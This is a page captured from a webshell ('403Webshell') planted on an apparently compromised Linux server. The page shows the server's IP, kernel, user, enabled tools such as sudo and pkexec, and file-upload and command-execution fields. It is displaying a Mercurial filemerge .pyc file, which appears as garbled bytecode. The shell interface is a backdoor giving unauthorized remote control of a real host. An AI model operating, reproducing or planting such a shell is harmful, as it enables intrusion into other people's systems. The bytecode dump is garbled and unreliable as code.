403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/__pycache__/filemerge.cpython-39.opt-1.pyc
a

�+�b���@s0ddlmZddlZddlZddlZddlZddlmZddlm	Z	m
Z
ddlmZddl
mZmZmZmZmZmZmZmZmZmZmZmZmZddlmZmZd	d
�Zdd�Zd
d�ZiZ iZ!e�"�Z#e#j$Z$e#j%Z%e#j&Z&ed�Z'ed�Z(Gdd�de)�Z*dd�Z+dd�Z,dd�Z-dd�Z.dd�Z/dd�Z0e#de$�d d!��Z1e#d"e$�d#d$��Z2e#d%e$�d&d'��Z3e#d(e$�d)d*��Z4d+d,�Z5d-d.�Z6d/d0�Z7d1d2�Z8d3d4�Z9e#d5e&ed6�e8d7�d8d9��Z:e#d:e&ed6�e8d7�d;d<��Z;e#d=e&ed6�e8d7�d>d?��Z<e#d@e&dAe8d7�dBdC��Z=e#dDe&ed6�e8d7�dEdF��Z>e#dGe%e8d7�dHdI��Z?e#dJe%e8d7�dKdL��Z@e#dMe%edN��dOdP��ZAe#dQe&dRdRdS�dTdU��ZBe#dVe%dRdRdS�dWdX��ZCdYdZ�ZDd[d\�ZEd]d^�ZFd_d`�ZGdwdadb�ZHdcdd�ZIdedf�ZJejKdgdh��ZLdxdidj�ZMdkdl�ZNdmdn�ZOdodp�ZPdqdr�ZQdsdt�ZRdudv�ZSeSdde#�e �T�ZUdS)y�)�absolute_importN�)�_)�hex�short)�getattr)
�encoding�error�	formatter�match�pycompat�	registrar�scmutil�simplemerge�tagmerge�
templatekw�	templater�templateutil�util)�procutil�
stringutilcGs|jd|d|g|�R�S�N�merge-tools�.)�config��ui�tool�part�args�r �9/usr/lib64/python3.9/site-packages/mercurial/filemerge.py�_toolstr.sr"cGs|jd|d|g|�R�Sr)�
configboolrr r r!�	_toolbool2sr$cCs|�d|d|�Sr)Z
configlist)rrrr r r!�	_toollist6sr%s�file '%(fd)s' was deleted in other%(o)s but was modified in local%(l)s.
You can use (c)hanged version, (d)elete, or leave (u)nresolved.
What do you want to do?$$ &Changed $$ &Delete $$ &Unresolveds�file '%(fd)s' was deleted in local%(l)s but was modified in other%(o)s.
You can use (c)hanged version, leave (d)eleted, or leave (u)nresolved.
What do you want to do?$$ &Changed $$ &Deleted $$ &Unresolvedc@sleZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dZ
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�
absentfilectxz�Represents a file that's ostensibly in a context but is actually not
    present in it.

    This is here because it's very specific to the filemerge code for now --
    other code is likely going to break with the values this returns.cCs||_||_dS�N)�_ctx�_f)�self�ctx�fr r r!�__init___szabsentfilectx.__init__cCsd|j|jfS)Nsabsent file %s@%s)r)r(�r*r r r!�	__bytes__cszabsentfilectx.__bytes__cCs|jSr')r)r.r r r!�pathfszabsentfilectx.pathcCsdSr'r r.r r r!�sizeiszabsentfilectx.sizecCsdSr'r r.r r r!�datalszabsentfilectx.datacCs|j��jSr')r(�repoZnullidr.r r r!�filenodeoszabsentfilectx.filenodeTcCs*|��o&|��|��ko&|��|��kS)zVcompare with other file context

        returns True if different from fctx.
        ��isabsent�	changectxr0)r*�fctxr r r!�cmpts
��zabsentfilectx.cmpcCsdS)N�r r.r r r!�flagsszabsentfilectx.flagscCs|jSr')r(r.r r r!r7�szabsentfilectx.changectxcCsdS�NFr r.r r r!�isbinary�szabsentfilectx.isbinarycCsdS)NTr r.r r r!r6�szabsentfilectx.isabsentN)�__name__�
__module__�__qualname__�__doc__r-r/r0r1r2r4Z
_customcmpr9r;r7r=r6r r r r!r&Xsr&cCs2|tvr|St||d|�}|�d�r(|St||�S)N�
executable�python:)�	internalsr"�
startswith�findexternaltool)rr�cmdr r r!�	_findtool�s
rHcCs|�d�r|St�|�S)NrC)rEr�
shellquote)rGr r r!�_quotetoolpath�s
rJc	CsvdD]R}t|||�}|sqt�|t||d��}|rt�|t||dd��}|r|Sqt||d|�}t�t�|��S)N)sregkeys	regkeyaltsregnames	regappendr:rB)r"rZ	lookupregrZfindexeZ
expandpath)rr�kn�k�pZexer r r!rF�s
rFcs���dd��d�fdd�	�dd������fdd	�}��d
d�}|rvt�|�}|r^�|�s^dS|rn|t|�fS||fStj�d
�}	|	r�|r��|	�s�dS|	|	fS|o��}
��d�D]�\}}t�|j	d|g�}
|
|�r�|||||
|�r�|�r�|ddd��s��
td�t�
|�t�
|�f�t�|�}|t|�fSq�i}t����d�D]N\}}|�d�d}||v�r~tt�|d��||<t�|d��rJ��|��qJ|��}t�fdd�|��D��}��d
d�}|�r||||||��r||v�r�|�s�||fS|�dd|f�|�d�|D]6\}}||d|||��rt�|�}|t|�fS�q|�s`|�s`|�r�|�s�t|��r���
td�|�dSdS)N�mergesstrict-capability-checkFcs(|tvr|ot|j�|�St�||�Sr')rD�capabilities�getr$)rZ
capability�strict)rr r!�
hascapability�sz _picktool.<locals>.hascapabilitycSs|tvot|jtkSr')rD�	mergetype�nomerge�rr r r!�
supportscd�sz_picktool.<locals>.supportscdcs�|}|rtd�||f}t�|�sN|r:��td�|�qЈ�td�|�n�|rr�|d��sr��td�|�n^|r��|d��s���td�|�n:|r��|�s�n,t��s�t�|d�r̈�td�|�nd	Sd
S)Ns%s (for pattern %s)scouldn't find merge tool %s
ssymlinkstool %s can't handle symlinks
�binarystool %s can't handle binary
�guistool %s requires a GUI
TF)rrH�warnZnoterZguir$)r�pat�symlink�binary�changedelete�tmsg)rR�strictcheckrVrr r!�check�s"
z_picktool.<locals>.check�uis
forcemerge)s:promptNsHGMERGEsmerge-patternsr:rWT)rQs�warning: check merge-patterns configurations, if %r for binary file %r is unintentional
(see 'hg help merge-tools' for binary files capability)
rrrsprioritysdisabledcs"g|]\}}|�vr||f�qSr r )�.0rrM)�disabledr r!�
<listcomp>r:z_picktool.<locals>.<listcomp>)Nshgmergesno tool found to merge %s
)s:mergeN)F)r#rrHrJr�environrPZconfigitemsr�rootrYrr�bytestr�set�split�intr"r$�add�keys�sorted�items�insert�append�len)r3rr0r\r[r]r`�force�toolpathZhgmergeZ	binarycaprZrZmfZtoolsrL�v�t�namesZuimergerMr )rcrRr_rVrr!�	_picktool�sv
���	

�

rwcCs4d|vrdSd|vrdSd|vr$dSd|vr0dSdS)zGuess the EOL type of a file�Ns
�
�
r �r2r r r!�_eoltypesr|cCsJt|���}|rFt�|�}t|�}|rF|�||�}||krFt�||�dS)z/Convert EOL markers in a file to match origfileN)r|r2rZreadfile�replace�	writefile)�file�backupZtostyler2Zstyle�newdatar r r!�	_matcheol's
r��promptc
CsP|j}|j��}t�|�}|j����r2t�d��t	|j
|j
g�}	||�|	d<z�|j��rx|�t
|	d�}
gd�|
}nH|j��r�|�t|	d�}
gd�|
}n |�td�|	d�}
gd�|
}|dkr�t||||||�WS|dkr�t||||||�WS|d	k�rt||||||�WSWn2tj�yJ|�d
�t||||||�YS0dS)zfAsks the user which of the local `p1()` or the other `p2()` version to
    keep as the merged version.s/in-memory merge does not support file conflictssfd�)�local�other�
unresolved)r�r�r�s�file '%(fd)s' needs to be resolved.
You can keep (l)ocal%(l)s, take (o)ther%(o)s, or leave (u)nresolved.
What do you want to do?$$ &Local $$ &Other $$ &Unresolvedr�r�r�rzN)rr8r0r�getuipathfnr7�
isinmemoryr	�InMemoryMergeConflictsError�
partextras�labelr6�promptchoice�_localchangedotherdeletedmsg�_otherchangedlocaldeletedmsgr�_iother�_ilocal�_ifailZResponseExpected�write)r3�mynode�local�other�base�toolconfr�fd�uipathfnZprompts�index�choicer r r!�_iprompt3sD

�

���

r�r�cCsd|j��fS)z=Uses the local `p1()` version of files as the merged version.r)r8r6�r3r�r�r�r�r�r r r!r�gsr�r�cCsH|j��rt|j���d}n"t|j��|j��|j���d}d|fS)z=Uses the other `p2()` version of files as the merged version.TFr)r8r6�_underlyingfctxifabsent�remover�r2r;)r3r�r�r�r�r��deletedr r r!r�ms

�r�sfailcCs,|j��r(t|j��|j��|j���dS)z�
    Rather than attempting to merge files that were modified on both
    branches, it marks them as unresolved. The resolve command must be
    used to resolve these conflicts.�rF)r8r6r�r�r2r;r�r r r!r�|s


�r�cCs |��r|��|��S|SdS)z�Sometimes when resolving, our fcd is actually an absentfilectx, but
    we want to write to it (to do the resolve). This helper returns the
    underyling workingfilectx in that case.
    Nr5)Zfilectxr r r!r��sr�cCs@t�|���r<td�|j��}|�td�|�t�|��dS)z verifies that text is non-binarys%s looks like a binary file.swarning: %s
N)	rr\�textrr8r0rYr	�Abort)�inputr�msgr r r!�_verifytext�sr�c	Cs:|\}}}}}	|s&|j��s&|j��r*dS|j}
gd�}zt|
|d|�}WnZtjy�t|
|dd���}||vr�d�dd�|D��}
t�t	d�|||
f��Yn0|�r6d	}|d
kr�d}n|dkr�d
}t
dd�|||fD��r�dStj||||d�\}}|�r||v�r"|j�||j�
��|�s6|
�d�dSdS)Nr)skeep�keep-merge3�keep-mergediffspremerger:�, cSsg|]}d|d�qS)�'r )rbrtr r r!rd�r:z_premerge.<locals>.<listcomp>s6%s.premerge not valid ('%s' is neither boolean nor %s)rNr��	mergediffr��merge3css|]}t�|���VqdSr')rr\r�)rbr�r r r!�	<genexpr>�sz_premerge.<locals>.<genexpr>��modes premerge successful
r)r8r6rr$r	ZConfigErrorr"�lower�joinr�anyrr�r;�debug)r3r�r�r�r�rrsr\r[�scriptfnrZ	validkeepZpremergeZ_validr��merged_text�	conflictsr r r!�	_premerge�sF��
��

r�cCsx|\}}}}	}
t�|�}|	r@|j�td�|||���f�dS|��sP|��rt|j�td�|||���f�dSdS)Ns2warning: internal %s cannot merge symlinks for %s
Fs@warning: internal %s cannot merge change/delete conflict for %s
T)rr�rrYrr0r6)r3r��fcd�fco�fcar�rrsr\r[r�r�r r r!�_mergecheck�s&
�����r�cCsx|j}z"t||�t||�t||�Wntjy>YdS0tj||||d�\}}|j�||j���d|dfSdS)a)
    Uses the internal non-interactive simple merge algorithm for merging
    files. It will fail if there are any conflicts and leave markers in
    the partially merged file. Markers will have two sections, one for each side
    of merge, unless mode equals 'union' which suppresses the markers.)TTFr�TFN)rr�r	r�rr8r�r;)r3r�r�r�r�rr�r�r r r!�_merge�s

�
r��unionsJwarning: conflicts while merging %s! (edit, then use 'hg resolve --mark')
)�precheckcCst||||d�S)z�
    Uses the internal non-interactive simple merge algorithm for merging
    files. It will use both left and right sides for conflict regions.
    No markers are inserted.r��r��r3r�r�r�r�r�r�r r r!�_iunion�sr�rNcCst||||d�S)z�
    Uses the internal non-interactive simple merge algorithm for merging
    files. It will fail if there are any conflicts and leave markers in
    the partially merged file. Markers will have two sections, one for each side
    of merge.rNr�r�r r r!�_imergesr�r�cCst||||d�S)a
    Uses the internal non-interactive simple merge algorithm for merging
    files. It will fail if there are any conflicts and leave markers in
    the partially merged file. Marker will have three sections, one from each
    side of the merge and one for the base content.r�r�r�r r r!�_imerge3sr�smerge3-lie-about-conflictsr:cOst|i|��\}}}|d|fSr<)r�)r�kwargs�b1Zjunk�b2r r r!�_imerge3alwaysgood+sr�r�cCst||||d�S)ag
    Uses the internal non-interactive simple merge algorithm for merging
    files. It will fail if there are any conflicts and leave markers in
    the partially merged file. The marker will have two sections, one with the
    content from one side of the merge, and one with a diff from the base
    content to the content on the other side. (experimental)r�r�r�r r r!�_imerge_diff>sr�smerge-localcCst||||d�S)zg
    Like :merge, but resolve all conflicts non-interactively in favor
    of the local `p1()` changes.r�r�r�r r r!�_imergelocalQsr�smerge-othercCst||||d�S)zg
    Like :merge, but resolve all conflicts non-interactively in favor
    of the other `p2()` changes.r�r�r�r r r!�_imergeotherYsr�stagmergesjautomatic tag merging of %s failed! (use 'hg resolve --tool :merge' or another merge tool of your choice)
c	Cs$t�||j|j|j�\}}||dfS)z?
    Uses the internal tag merge algorithm (experimental).
    F)r�merger8)	r3r�r�r�r�r�r��success�statusr r r!�
_itagmergeas
r�sdumpT)r\r[c
Cs�t||j�}|j��}ddlm}	t|j|	j�r:t�d��t	�
|d|j���|�|d|j�
�|j���|�|d|j�
�|j���dS)a
    Creates three versions of the files to merge, containing the
    contents of local, other and base. These files can then be used to
    perform a merge manually. If the file to be merged is named
    ``a.txt``, these files will accordingly be named ``a.txt.local``,
    ``a.txt.other`` and ``a.txt.base`` and they will be placed in the
    same directory as ``a.txt``.

    This implies premerge. Therefore, files aren't dumped, if premerge
    runs successfully. Use :forcedump to forcibly write files out.
    r��contexts0in-memory merge does not support the :dump tool.s.locals.others.base)FrF)�_workingpathr8r0�r��
isinstance�overlayworkingfilectxr	r�rr~�decodeddataZwwriter2r;)
r3r�r�r�r�r�r��ar�r�r r r!�_idumprs

�r�s	forcedumpcCst|||||||�S)zS
    Creates three versions of the files as same as :dump, but omits premerge.
    )r�r�r r r!�
_forcedump�sr�cCst�d��dS)Ns5in-memory merge does not support external merge tools)r	r�r�r r r!�
_xmergeimm�s	�r�c	Cs�|�dd�}	|	sdStj}
|��t|�|��|
|��|t|�td�d|��v|dd��|
|��|td�d|��v|dd	��|
|��|td
�d|��v|dd	��||d�}t�	|	�}	t
�||�}t
j||	t
j|d
�}
|�|
�|��dS)N�command-templatesspre-merge-tool-outputr��l�HG_MY_LABEL)�ctx�fctx�node�name�islink�label�base�
HG_BASE_LABEL)r�r�r�r�r�r��HG_OTHER_LABEL)r�r�spathr�r�r�stoolpathstoolargs��defaultsZ	resources)rr�mappingdictr7rr0rr;r�
unquotestringr
�templateresources�
maketemplaterr�keywordsr��
renderdefault)rr3r�ZfclZfcbr��envrsr�tmplr��props�tresrur r r!�_describemerge�sR
��

��	
��	�%

�r�c&Cs<|j}|j}|j}	|\}
}}}
}t�|�}|��s:|��r^|j�td�|
||���f�dSt||�}t	|j|
d�}d|	��|	�
�fd|��|�
�fg}d}d|vr�|}|��}|�d�r�tj�
|�\}}|�d	||��f�t|���<}|dd
�\}}t|�dk�r|d
}dd
�}|��t|�t|�����t|	�����d|��vd|��vd|	��v||�||�||�d�
}|j}||||||�||�||�d�}t�d||dd��}t||
d��r�|j�td�|
||���f�|du�r4|d|}|j�d|�t|||||	||||�	|j||j|dd�}n�|j�d||f�d}z ddlm}|� |d|
�} Wn&t!�y�t"�#td�|��Yn0t$| |d�}!|!du�r�t"�#td �||f��t%�&|�}"dd!lm'}#|#�(||d"||!d|"id#�\}$}%|%�r�d}|j�d$|�d#|d%fWd�S1�s.0YdS)&Ns7warning: %s cannot merge change/delete conflict for %s
)FrNsargsr�r�r:s$outputs.origr�r��cSs |jrd|j|jfS|jSdS)Ns%s: %s)�label_detailr�)r�r r r!�format_label�sz_xmerge.<locals>.format_labelr�)
sHG_FILEs
HG_MY_NODEs
HG_OTHER_NODEsHG_BASE_NODEsHG_MY_ISLINKsHG_OTHER_ISLINKsHG_BASE_ISLINKr�r�r�)r�r�r�soutputs
labellocals
labelothers	labelbases\$cSst�t�|��Sr')rrIr�	localpath)�sr r r!�<lambda>r:z_xmerge.<locals>.<lambda>rXs"running merge tool %s for file %s
� slaunching merge tool: %s
s	mergetool)�cwdreZ
blockedtags%launching python merge script: %s:%s
rr)�
extensionss
hgmerge.%ss&loading python merge script failed: %ss%s does not have function: %s)�hookrNTsmerge tool returned: %d
F))r8rr�r6rrYrr0r�r"r��endswith�os�splitextrpr2�_maketempfilesrqrr7�noder;rZinterpolater$r�r�r��systemrfr�r�Zloadpath�	Exceptionr	r�rrZ
shellsplitr�Z
pythonhook)&r3r�r�r�r�r�r�r�r�r�rrsr\r[r�r�r�r�filesZoutpathZlocaloutputpath�extZ	temppathsZbasepathZ	otherpathr�r�rr}rG�rr��modZmergefnZargslistr��retZraisedr r r!�_xmerge�s�
��
�



��	���

�
�
�

�
�r
cCsB|j��}|��dur|��}d|i}|�|�}|��d|_dS)zAApplies the given template to the ctx and stores it in the input.Nr�r)r8r7rZp1r��
splitlinesr�)r��templater+r�Ztemplateresultr r r!�_populate_label_detailLs

r
cCsj|j}|�dd�}|dur(t||d|�}t�|�}t�||�}tj||tj	|d�}|D]}t
||�qVdS)z?Populates the label details using the conflict marker template.r�smergemarkerNsmergemarkertemplater�)rrr"rr�r
r�r�rr�r
)r3Zinputsrrrr�r�r�r r r!�_populate_label_detailsWs

�rcCs,|durddd�Sd|dd|dd�S)z�Return a dictionary of extra labels for use in prompts to the user

    Intended use is in strings of the form "(l)ocal%(l)s".
    Nr:)r��os [%s]rrr )�labelsr r r!r�gs�

�r�cCs�|��rdSddlm}t||j�rnt�d�\}}t�|d��}|�	|�
��Wd�q�1sb0Yn(t�|||�
��}t||�}t�||�|j||d�S)a�Makes and returns a filectx-like object for ``fcd``'s backup file.

    In addition to preserving the user's pre-existing modifications to `fcd`
    (if any), the backup is used to undo certain premerges, confirm whether a
    merge changed anything, and determine what line endings the new file should
    have.

    Backups only need to be written once since their content doesn't change
    afterwards.
    Nrr�shg-merge-backup�wb)r3)r6r�r�r�r�rZmkstempr��fdopenr�r2rZ
backuppathr0r�r�copyfileZarbitraryfilectx)r3rr�r�r�r�r,r�r r r!�_makebackupxs.
rc	#sdtjdd���fdd�}g}|D]\}}}|�||||��q z|VWt���nt���0dS)zyCreates a temporary file for each (prefix, path, data) tuple in `files`,
    so an external merge tool may use them.
    shgmerge-)�prefixcsNtj�|�\}}dtj�|�|f}tj��|�}|r>||7}t�||�|S)Ns%s~%s)r�r0r�basenamer�rr~)rr0r2ZfullbaserZpre�name�Ztmprootr r!�maketempfrompath�sz(_maketempfiles.<locals>.maketempfrompathN)rZmkdtemprp�shutil�rmtree)rrZ
temp_filesrr0r2r rr!r�s	rc$
Cs<|j}|��}	t�|�}
|
|	�}|��p6|��p6|��}d|��|��v}
|��pZ|��}t|||	||
|�\}}d}|tvr�|�	d�r�|t
d�d�}|�r|�	d��rd}|�d�dkr�|d	d��dd
�\}}|s�d}d|vs�d
|vr�d}nd}|�rt
�td�|��|}|�d||t�|�t�|
�t�|�f�|tv�rft|}|j}|j}|j}d}n(|���rvt}nt}t}td�}d}d}||||
|f}|�s�ddg}t
|�dk�r�|�d�t�||d�}t�||d
�}t�||d�}|tk�r|||||||�S||��k�rB|�td�|
|�|
|���|f�n|�td�|�|�d|||f�|�r�|||||||��s�|�r�|���r�t
�d��|� ||�dSt!|||�}d
}�z\|�"dd�}|�r�t#||d�} n|} |tk�rtd}!| dk�r|}!|dk�s| dk�r*t$||||g|!d�t%|||||�}|�sb|dfW|�s`|du�r`|�&�Sd|_'d|_'d|_'| dk�r�t$||||g|d�||||||||�\}"}}#|"�r�t(||||||�}|�r�|�r�|���r�t
�d��|� ||�t)|�||#fW|�s|du�r|�&�Sn|�s6|du�r6|�&�0dS)a�perform a 3-way merge in the working directory

    mynode = parent node before merge
    orig = original local filename before merge
    fco = other file context
    fca = ancestor file context
    fcd = local file context for current/destination file

    Returns whether the merge is complete, the return value of the merge, and
    a boolean indicating whether the file was deleted from disk.r�N�	internal:sinternalrCF�:r��rT�\�/sinvalid 'python:' syntax: %ss?picked tool '%s' for %s (binary %s symlink %s changedelete %s)
smerging %s failed!
r�r�r�r�rsmerging %s and %s to %s
smerging %s
smy %s other %s ancestor %s
s0in-memory merge does not support merge conflictsr�rasmergemarkerssbasicrU)*rr0rr�r=r;r6rwrDrErq�count�rsplitr	r�rr�rrgrS�	onfailurer�r�r�r
�	fullmergerprZ
MergeInputrTr�r�rYrrr"rr�r�r��_check�_onfilemergefailure)$r3Zwctxr�Zorigr�r�r�rrr�r�Zfduipathr\r[r]rrsr�Z
invalidsyntaxZscript�funcrSr#r�Z
isexternalr�r�r�r�r�rZinternalmarkerstyleZmarkerstyleZ	labeltoolZ	needcheckr�r r r!�	filemerge�s
���



�	��
�

��$�
�


���r(cCstd�}t�|��dS)Ns0merge halted after failed merge (see hg resolve))rr	ZInterventionRequired)r�r r r!�
_haltmerge_sr)cCsD|�dd�}|dkr2td�}|�|d�dkr2t�|dkr@t�dS)NrNs
on-failurer�s,continue merge operation (yn)?$$ &Yes $$ &Norrshalt)rrr�r))r�actionr�r r r!r&dsr&cCstt�d|tj��S)Ns^([<>=+|-])\1{6}( .*)$)�bool�re�search�	MULTILINEr{r r r!�hasconflictmarkersos��r/c	Cs�|��}t�|�}|sBt||d�s2dt||d�vrBt|���rBd}d}dt||d�vrvd}|�td�||�d�rvd}|s�|s�t||d	�s�d
t||d�vr�|dur�|�	|�s�|�td�||�d�r�d}|dur�t||d�r�t
t||�|�|S)
Nscheckconflictss	conflictsscheckrFr�Ts0was merge of '%s' successful (yn)?$$ &Yes $$ &NoscheckchangedschangedsJ output file %s appears unchanged
was merge successful (yn)?$$ &Yes $$ &Nosfixeol)r0rr�r$r%r/r2r�rr9r�r�)	r3rrrr�r�r�r��checkedr r r!r%}sP

������
�����	r%cCs|�|���Sr')Zwjoinr0)r3r+r r r!r��sr�cCs�t�|j�D]l\}}d|}|t|<|td|<|t|<tdd�|j��D��}|rdd�|�}|j	t�
d|�|_	qtd�td	�td
�dS)z4Load internal merge tool from specified registrarobjrrcSsg|]\}}|r|�qSr r )rbrLrtr r r!rd�r:z%loadinternalmerge.<locals>.<listcomp>s    (actual capabilities: %s)r�s

%ss*    (actual capabilities: binary, symlink)s!    (actual capabilities: binary)s"    (actual capabilities: symlink)N)rZ	iteritemsZ_tablerD�internalsdocrmrOrnr�rAZsysstrr)rZextnameZregistrarobjrr'�fullnamerOZcapdescr r r!�loadinternalmerge�s�r3)N)N)VZ
__future__r�
contextlibr�r,rZi18nrrrrrrr�rr	r
rr
rrrrrrrZutilsrrr"r$r%rDr1Z
internalmergeZinternaltoolrTZ	mergeonlyr$r�r��objectr&rHrJrFrwr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
r
rr�r�contextmanagerrr(r)r&r/r%r�r3�valuesZ
i18nfunctionsr r r r!�<module>s�<��4	q

3



,��	
��	
	��	
	�

��	



��	


6q


1/

Youez - 2016 - github.com/yon3zu
LinuXploit